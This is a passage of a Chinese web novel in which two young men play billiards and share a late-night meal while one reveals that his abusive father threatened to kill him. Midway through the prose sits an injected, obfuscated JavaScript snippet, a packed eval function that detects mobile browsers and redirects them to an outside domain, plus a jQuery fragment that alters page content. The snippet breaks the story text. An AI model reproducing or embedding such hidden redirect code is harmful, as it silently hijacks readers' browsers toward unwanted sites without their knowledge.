“操。”那人说。 樊均这回瞄了一下,出杆之后黑8依旧是很干脆地落了袋,他把球杆还给旁边的人:“我今天陪朋友,改天打。” “樊均!我他妈真服了!我本来都要赢了!”那人喊,“你上我这儿装逼来了啊!” 四周响起一片带着嘲讽的笑声。 邹飏估计了一下时间,樊均从过去到走回来,差不多真就是两分钟。 那边从骂骂咧咧到骂骂咧咧,情绪没有什么起伏。 还交个朋友呢。 这地方是真给人感觉不太友好。 “来吧。”樊均走到他们的台边。 “都是你认识的吗?”邹飏跟着过去,靠近他,低声问了一句。 “也不算认识,”樊均把球摆好,“都这片儿的,不知道名字但也都眼熟。” “有仇吗都?”邹飏问。 “没,说话就这样,”樊均把球放好之后,直接开了球,“你以前打过吗?” 邹飏犹豫着该怎么说,之前随口的那一句“不会”让他现在非常为难,说会吧,撒谎了,为什么撒谎,因为不想混迹在南舟坪北小街西这帮人之中…… 说不会吧,这一打起来,是真不太好装。 最后他还是点了点头,选了一个折中的说法:“也打过,就是……不太会。” “没事儿,”樊均看了看球,俯身瞄着,“随便打就行。” “你……”邹飏刚才就想问,但没顾得上,“看得见么?” 樊均笑了起来,杆头不小心碰到了白球,他直起身:“哎。” “这不是我的计啊。”邹飏说。 樊均把帽檐往上翻起来一点儿:“现在看得见了,刚都是盲打。” “那你很牛。”邹飏拿过杆,看着台面上的球,“我打了吧?” “嗯。”樊均点头。 邹飏俯身,瞄了瞄球,然后挑了个当初刘文瑞刚打台球时被群嘲的手型架杆。 架好之后他看了樊均一眼。 樊均抱着胳膊也看着他,没说话。 邹飏看着球,胡乱往前捅了一杆,打中了目标球,但没进。 “你……”樊均把白球拿过来放到他面前,“这个手……” “嗯。”邹飏俯身把手架回了台面上。 樊均在他身后也俯身,伸手捏着他的手指调整了一下手型:“杆儿架上。” “嗯。”邹飏把球杆架到手上。 “推一杆就行,打绿的那个,”樊均声音就在他后脑勺,手从他身后绕到他握杆的右手上轻轻点了一下,“不要突然发力,就推出去。” 邹飏按照樊教练的指导,推了一杆。 推完就后悔了。 果然,进袋了。 两个人都没说话,沉默了两秒之后,樊均的声音从他颈后传过来:“你真不会打?” “真不会打。”邹飏坚持着。 “那你对会打的标准有点儿高啊。”樊均说。 邹飏叹了口气,直起身,扶着球杆看着他。 “其实……”樊均顿了顿,“你不想来不用硬……” “我不是那个意思……”邹飏赶紧打断他,往四周看了看。 这台球厅里人不多,除了打球的声音,不算嘈杂,正常说话差不多旁边台子都能听到。 他只能凑到樊均右耳边低声说:“我就是跟不认识的人待一块儿难受,没别的意思。” “嗯。”樊均很认真地点了点头。 邹飏从他这个反应无法判断他能不能接受或者是不是相信这个解释。 “我也没多想,”樊均也低声说,“一开始就是想问你要不要一块儿玩。” 邹飏咬了咬嘴唇,不知道该说什么。 “你打。”樊均说。 “哦。”邹飏只得转头看了看台面上的球。 刚那一杆邹飏没认真打,虽然进了,但接下去的球不太好打。 樊均退开了一些,看着邹飏找位置,这个人很奇怪,这会儿明显不太有心情打球, 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帽檐下其实是能看得清的,他多年戴帽子的经验,已经能够在各种帽檐下看清前方的事物。 不过这个把帽子直接扣脸上都应该能打进的球他却打偏了。 “菜。”邹飏说。 樊均笑了笑,没说话。 邹飏台球打得很好,一旦让他抓住机会,就能连续进球。 换算成武力值的话,那天跟吕泽能打个有来有回。 这局因为樊均莫名其妙的失误,邹飏轻松赢了。 “再来一局?”樊均问。 邹飏看着他,沉默了一会儿才点了点头:“行。” 樊均连输两局。 邹飏最后一杆黑8入袋的时候,樊均的球还大面积存活着。 邹飏打完之后手撑在台面上没有动,轻轻地叹了一口气。 樊均不在状态,刚进来的时候打别人那半台看得出来他的确打得挺好的,但这会儿的水平,也就跟刘文瑞拼个你死我活了。 “厉害啊。”樊均一边说着一边准备摆球。 “不打了。”邹飏说。 “嗯?”樊均定了定,然后放下了手里的球,“好。” 他打了个响指,一直坐在趴在墙边睡觉的小白跳了起来,往他这边跑过来的时候在邹飏身上蹭了一下。 邹飏惊得一下站直了,贴紧了旁边的桌子。 “一臂,”樊均站到邹飏旁边,指了指他,然后伸出手臂,“他,一臂。” 小白认真地盯着他俩,前爪在地上来回跺着,哼唧了两声。 “听得懂?”邹飏忍不住问。 “不知道,没试过,”樊均说,“可能会懂。” 邹飏虽然怕狗,但这会儿还是好奇心战胜了恐惧,他试着往前走了一步,小白看着他,他又往前蹭了半步。 小白开始退后。 “我靠,”他转头看着樊均,“真能行啊?” 樊均笑了笑。 这个时间,得在商场那边才比较好打车。 邹飏认识过去的路,不过经过樊均租房的那片居民区时,樊均没有停下的意思,跟他一块儿往前走着,他也就没出声。 一路也没说话,只能听到小白爪子落在地上欻欻欻的声音和它哈哧哈哧的喘气声,这动静……带着吓人的安全感。 气氛有点儿奇怪,就好像他今天带着樊均跟自己的朋友出去玩,却有些生硬而尴尬地拒绝融入樊均的朋友圈…… 当然,应该也谈不上是朋友,算是生态圈吧……什么鬼。 再加上那个诡异的偶遇。 总之就有种说不清的感觉。 邹飏有些后悔今天没跟老妈一块儿去买菜,就算被樊均误会是要打听的事儿又怎么样,谁会不好奇。 不跟老妈打听,现在就会忍不住想跟他本人打听了。 走到商场那条街时,樊均停下了:“我……” “你为什么要躲今天那个姐姐啊?”邹飏突然就开口问了。 樊均怔住了,甚至抬了抬头,从帽檐下看着他,似乎是想再确认一下他的问题。 “跟邻居……是有什么矛盾吗?”邹飏又问了一句。 “……不是。”樊均说。 邹飏等了一会儿,他却没继续说下去。 “算了,”邹飏转身,“你没事儿就行,我去前面打个车。” 走了好几步了,身后才又传来了樊均的声音:“我是怕我爸找到我。” 邹飏停下了,回过头。 “他出门的时候说,回来就杀了我。”樊均说。 19.第 19 章 19 樊均说这句话时,站在路灯底下,上方像是带了一层薄雾的昏暗灯光打在他身上,脸被笼罩在帽子的阴影中,看不清表情。 他出门的时候说,回来就杀了我。 这话怎么听着都很奇怪,带着些诡异的恐惧感。 邹飏转身走回到他面前:“你爸……说的?” “嗯。”樊均声音很低。 邹飏心里有十万个为什么,但一时却又开不出口来问,毕竟从樊均这句话字面的意思来看,这种爹只会出现在社会新闻里。 “他……”邹飏组织了好半天的语言,才憋出来一句,“为什么要这么说?” 这汉语言也算是白学了。 “就是……”樊均微微抬了抬头,“想杀了我吧。” 邹飏沉默了。 夜风吹过来,这两天白天的温度是回暖了些的,但樊均这句话说出来,他却突然觉得这风带着寒气,像是又要降温。 “他出门去干嘛?”邹飏好一会儿才又问了一句。 “买烟。”樊均说。 邹飏再次沉默了,出门买个烟,然后回来就要杀了自己儿子。 这两句回答听着完全没有逻辑,听着跟鬼片儿似的。 樊均也沉默了,过了一会儿才又开口:“你赶紧打车吧。” 邹飏愣了愣,看着他。 “这边儿车少,九点过就没什么车接单了。”樊均说。 “后来呢?”邹飏问,“买烟回来之后呢?” “没有再回来。”樊均说。 “……哦。”邹飏看了一眼坐在旁边的小白,这会儿居然顾不上怕狗了。 “你记得通知他们明天十点拍照,”樊均边说边往后慢慢退着走,“你上课的话是八点半,起不来晚点儿也行,九点前。” 小白也跟着他,居然也退着走。 “嗯。”邹飏点了点头。 “晚安。”樊均说。 “……晚安。”邹飏说完站在原地并没有动。 樊均转身往回走。 小白也转身,跟在他身侧,一人一狗连步频都是一致的。 樊均说他并没有专门训练过小白,没事儿的时候跟它玩,时间长了就懂了……这是得多长的时间啊。 邹飏看着樊均的背影。 手插在外套兜里,低着头,走在月光的阴影里,风吹过的时候,甚至感觉他身影模糊,整个人都被吹淡了。 一个人得是多寂寞,才能跟狗玩到这种境界。 樊均一直没有再回头看。 他转身走的时候,邹飏还站在原地没动。 现在是已经走了,还是依旧站在那里,他不知道。 邹飏的问题问得很简单,却很难回答。 他能感觉得出来,他这个尽可能简单的回答可能吓着邹飏了。 路过旧馆的时候,吕叔和珊姐已经收拾好走了,院门都已经锁了。 但樊均还是打开门进去转了一圈。 没有什么意义,就是转一圈,每天他都会转一圈。 今天没怎么陪狗,所以他没把小白留在旧馆,带着小白回了他的小屋。 小白和大黑已经挺熟了,大黑虽然还没有狗脑袋大,但胆子不小,不怕狗,小白在家的时候,它会睡在小白身上。 很安全的样子。 羡慕。 “我干嘛要取消订单,我不取消。”邹飏坐在停车场的石墩子上。 “我过不去。”那边的司机说。 “我没手。”邹飏说。 “我过不去!”司机重复了一遍。 邹飏顿了顿,挂掉了电话,盯着手机看了两秒,他取消了订单。 什么破地方。 他本来想再跟司机呛两句,但实在没什么心情,脑子里全是樊均和那个回来就要杀了他但一直没有再回来的爹。 说不清是好奇还是窥探还是担心的情绪到达了顶峰。 他起身活动了一下腿,看了看四周,走到了两辆共享电动车旁边,然后打开导航,点了自己家的地址,看了一眼路线。 12.7公里。 之前没注意到这么远呢。 骑自己的车也就算了,顶着夜风还骑个小共享,没有宿舍几个人垫底,他是不愿意的。 他又重新点开了打车的界面。 等了五分钟之后,他把手机放回了兜里,走到了旁边一个无人光临的烧烤车前。 确切地说,这一遛小夜市摊生意都不怎么行,而这个烧烤车的老板已经盯了他很久了。 “来点儿什么?”老板热情地招呼他。 “一样五串儿吧,打包,”邹飏扫了一眼面前摆着的各种串儿,“不要素的。” “好,能吃辣吗?”老板问。 “……不知道,”邹飏思考了几秒,“别太辣吧。” “好嘞,”老板指了指旁边的小凳子,“坐着等会儿,很快。” 邹飏坐下等了一会儿,又拿出了手机,直接拨了樊均的号码。 听着那边的拨号音,琢磨着要怎么说。 但樊均一直没有接电话。 邹飏看了一眼号码,没错,又拨了一个,还是没人接。 洗澡吗? 邹飏骑着小共享带着一兜烧烤和一箱啤酒艰难前行的路上,又给樊均打了个电话。 还是没人接。 这是什么精致男孩儿,洗个澡这么长时间? 邹飏又发了条消息过去。 -睡了? 樊均也一直没回复。 邹飏飚着小共享冲到樊均楼下,再拎着烧烤和啤酒上了顶层,这会儿他已经没什么心情猜测樊均在干什么了。 樊均今天的状态和他刚才说的那些话,再加上他转身离开时带着满满说不清的情绪的背影,都让邹飏有些慌。 虽然有点儿离谱,但他还是控制不住自己奔腾的想象力…… 别是自杀了吧! 邹飏开始哐哐砸门的时候已经做好了破门而入的准备。 这门就是那种最便宜的假装自己能防盗的防盗门,一脚能踹个洞。 屋里传来了小白的低吼声。 邹飏踹门的决心有那么一瞬间的动摇。 但跟着还是往后退了一步,狗都有反应了,如果还没人开门,就肯定得踹了。 门在下一秒被打开了。 樊均穿着睡衣,脑门儿上顶着今天的奖品,身上披着个……斗篷,站在门边震惊地看着他。 身后是耳朵竖得笔直的警惕的狗。 “我操,”邹飏看着他脖子上挂着的耳机,“你……我以为你……” 身后邻居家的门也打开了,一个大姨探出头来,上下打量着邹飏:“大晚上的动静轻点儿!我们家都睡觉了!” “不好意思。”邹飏回头说了一句。 “进来。”樊均一边说一边回手冲狗打了个手势。 狗转身扒拉了一下卧室的门锁,打开门进去之后还把卧室门给关上了。 邹飏赶紧进了屋。 樊均把门关上之后,他才猛地感觉有些尴尬。 手足无措的。 “你手机呢?”邹飏问。 “屋里充电,”樊均愣了愣,“你给我发消息了吗?” “我给你打了三千多个电话。”邹飏说。 “卧室关着门,要不小白会提醒我了……”樊均走进了屋里,“那你手机还有电吗,要不要充一会儿?” “有。”邹飏再次惊叹小白的能力。 “打了三千多个还有电?”樊均从卧室里走出来。 “……风能的,一路吹过来充满了。”邹飏说。 樊均笑了笑,没说话。 邹飏说完这句也不知道该说什么了。 他现在是一个大晚上侵入别人单身小屋的不速之客,这要是换了他,晚上洗漱完了躺自己小窝里正听音乐呢,就算是刘文瑞来了也得被他打出去。 “你……”樊均犹豫了一下把他手里的东西拿了过去,放到了客厅的小桌上,“没打着车?” “嗯。”邹飏应了一声。 “那……”樊均明显对这样的状态也有些应对不足。 “也不是。”邹飏说。 樊均没说话,看着他。 “一般,”邹飏顿了顿,一咬牙直说了,“我们宿舍几个,谁要碰上什么事儿了,心情不好了,就这样,吃点儿喝点儿,愿意说说,不愿意说就愣着。” 樊均还是沉默地看着他。 “我觉得你应该……不是真没事儿,”邹飏说,“反正我也……” “要穿拖鞋吗?”樊均问。 “……不用。”邹飏说。 樊均也脱掉了拖鞋,然后走进了厨房。 邹飏走到沙发旁边,大黑正翻着个肚皮在沙发上躺着,他犹豫了一下,坐到了大黑身边。 樊均刚才应该是躺在沙发上,这上头还有明显的温度。 他伸手挠了挠大黑的肚皮。 樊均拿着个小矮桌从厨房里出来了。 邹飏赶紧又站了起来。 “坐着吧。”樊均说。 邹飏又坐了回去。 樊均把小桌放到了沙发面前的小地毯上,转身把烧烤和酒都拿到了桌上,然后坐在了地毯上,靠着沙发。 邹飏想了想,也坐到了地毯上。 “我真没事儿。”樊均看着他。 “那就吃宵夜。”邹飏说。 “嗯。”樊均应了一声。 邹飏打开袋子,把几盒烧烤排列着放好,拿了一串不知道什么玩意儿出来咬了一口。 嚼了两下之后他停下了,把串儿拿到眼前又看了一眼。 樊均也拿了一串,吃了一口。 邹飏看着他。 “嗯。”樊均点了点头。 “嗯什么?”邹飏问。 “是有点儿难吃。”樊均说。 “靠,”邹飏笑了起来,“难怪这摊儿没人。” “商场那边儿买的吧?”樊均倒是没停,继续吃着。 “是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581366|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邹飏开了罐啤酒。 “那边儿都是临时的摊儿,不做回头客,”樊均说,“烧烤得是菜市场那片儿的才好吃。” “哦。”邹飏应着。 樊均看上去状态还凑合,没有特别差,更没有想要自杀。 可能并不会再继续之前那个让人非常不愉快的话题。 一直到这时,静下来的邹飏才有机会顺了一下自己这会儿的行为……太唐突了。 邹飏,太唐突了。 这不是刘文瑞,也不是宿舍那几个起码朝夕相处了两年的同学。 这是你刚认识没几天的你妈的男朋友的养子。 目前跟你最近的关系就是你的教练。 “今天碰到的那个姐姐,是我以前的邻居,”樊均却在这时突然开了口,“我怕她认出我,我爸就有可能知道我在哪儿了。” 这应该不太可能吧。 邹飏没说话。 这会儿他才发现,其实说是这么说,就像对同宿舍的人碰上事儿那样,但其实是做不到的。 没熟到那份儿上,也没法带着分享八卦一样的心态对着对方刨根问底。 尤其是……樊均的事儿,绝对不是他身边任何人经历过的那些所谓烦心事能比的。 就凭那一句话就已经能体会到了,那是同时贯穿了樊均身体和心理的伤。 操。 跑来干什么呢? 邹飏沉默着又喝了一口酒。 “其实我也知道不可能,”樊均看着手里的烧烤,也没看他,“只是控制不住。” “也正常,”邹飏抹了抹嘴,拿起了刚才吃了一口的烧烤,虽然不好吃,但也谈不上多难吃,“你脸上伤都是他打的吧?” “嗯。”樊均应了一声。 “打得这么狠,”邹飏说,“谁会不怕,何况那会儿还是个小孩儿。” 樊均转头看了他一眼。 邹飏也看着他:“那个眼罩,不戴就拿掉吧,老觉得你发烧捂了个退烧贴呢。” “嗯?”樊均愣了愣才抬手往自己脑门儿上摸了一把,摸到眼罩的时候笑了,“我忘了。” “帽子戴习惯了吧。”邹飏说。 “嗯。”樊均点点头,低头把摘下来的眼罩叠好放到了沙发旁边的小置物架上。 “想遮着脸上的疤怕让人认出来吗?”邹飏边吃边又问了一句。 “是。”樊均转回头继续看着手里的烧烤。 “其实……”邹飏看着他,犹豫了一下,“你爹什么武力值啊,他真来了打得过你?打得过冠军?打得过吕叔?你们三个一块儿不给他打废了个屁的。” 樊均再次转回头来看着他。 “怎么。”邹飏问。 樊均没说话,只是伸手开了一罐啤酒,往他那罐上轻轻磕了一下,然后仰头灌了几口。 邹飏拿起啤酒,跟着也喝了几口。 “你跟你爸爸关系好吗?”樊均问。 “嗯?”邹飏愣了两秒,提到他爹……他顿时就感觉本来温度挺合适的屋里有些燥热。 他放下啤酒,脱掉了身上的卫衣外套,往沙发上一扔:“面儿上父慈子孝。” 樊均往他里面穿着的T恤上扫了一眼。 “我不冷。”邹飏也看了看樊均身上的……斗篷。 “我以为你跟你爸关系挺好的。”樊均说。 邹飏很敏锐地追了一句:“我妈说的吗?” “不是,我是觉得,”樊均侧过身靠着沙发,脸冲着他,回答得很真诚,“你性格挺好的。” “那只能说我爸没坏到那个程度,”邹飏手架在沙发上撑着脑袋,“我爸是个伪君子,唯一的优点就是自信。” 樊均笑了笑。 “我性格好吗?”邹飏问。 “好。”樊均说。 “那刘文瑞要跟你打架。”邹飏说。 “打他都不用一根手指头,”樊均说,“我说了算。” “谢谢。”邹飏笑着说。 “谢谢你。”樊均拿起啤酒罐晃了晃,发现空了,于是又开了一罐,举到了他面前。 邹飏拿起自己那罐跟他碰了一下:“为什么?” “除了吕叔他们,”樊均说,“你是唯一……想知道我那些事儿的人。” “也许……”邹飏皱了皱眉,“只有我这么莽撞。” “不是。”樊均说。 邹飏看着他没说话。 “只是不会有人在意别人的事,我也一样。”樊均说。 “我以为你会介意别人知道你的事。”邹飏说。 “是介意。”樊均说。 “……我靠。”邹飏顿时尴尬了,“你说话怎么还带反转的。” 樊均笑了笑。 “那你……”邹飏喝了口啤酒,“想说吗?都那么久没消息了的人,你为什么……” “他是真的会杀人的人,”樊均说,“别人可能不用当真,但他真的会,我知道。” 邹飏没说话。 “我知道。”樊均又重复了一遍。